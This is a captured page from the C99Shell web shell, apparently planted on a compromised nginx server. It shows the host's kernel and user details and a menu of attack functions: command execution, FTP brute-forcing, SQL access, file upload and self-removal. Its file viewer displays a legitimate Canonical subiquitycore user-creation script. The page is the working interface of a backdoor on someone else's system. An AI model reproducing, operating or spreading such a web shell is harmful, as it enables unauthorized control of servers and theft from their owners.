!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/snap/core18/2889/usr/share/subiquity/subiquitycore/   drwxr-xr-x
Free 0 B of 49.13 MB (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     user.py (2.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# Copyright 2016 Canonical, Ltd.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

import logging
import os
import time

from subiquitycore.utils import run_command


log = logging.getLogger("subiquitycore.user")


def create_user(userinfo, dryrun=False, extra_args=[]):
    """Create a user according to the information in userinfo."""
    usercmds = []
    username = userinfo['username']

    useradd = ["useradd", "-m", "-p", userinfo['confirm_password'], username] + extra_args
    usercmds.append(useradd)
    if 'ssh_import_id' in userinfo:
        target = "/home/{}/.ssh/authorized_keys".format(username)
        ssh_id = userinfo['ssh_import_id']
        if ssh_id.startswith('sso'):
            log.info('call out to SSO login')
        else:
            ssh_import_id = ["ssh-import-id", "-o", target, ssh_id]
            usercmds.append(ssh_import_id)

    if not dryrun:
        for cmd in usercmds:
            # TODO(mwhudson): Check return value!
            run_command(cmd, shell=False)

        # always run chown last
        homedir = '/home/' + username
        retries = 10
        while not os.path.exists(homedir) and retries > 0:
            log.debug('waiting on homedir')
            retries -= 1
            time.sleep(0.2)

        if retries <= 0:
            raise ValueError('Failed to create homedir')

        chown = ["chown", "{0}.{0}".format(username), "-R", homedir]
        # TODO(mwhudson): Check return value!
        run_command(chown, shell=False)

        # add sudo rule
        with open('/etc/sudoers.d/installer-user', 'w') as fh:
            fh.write('# installer added user\n\n')
            fh.write('{} ALL=(ALL) NOPASSWD:ALL\n'.format(username))
    else:
        log.info('dry-run, skipping user configuration')

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0034 ]--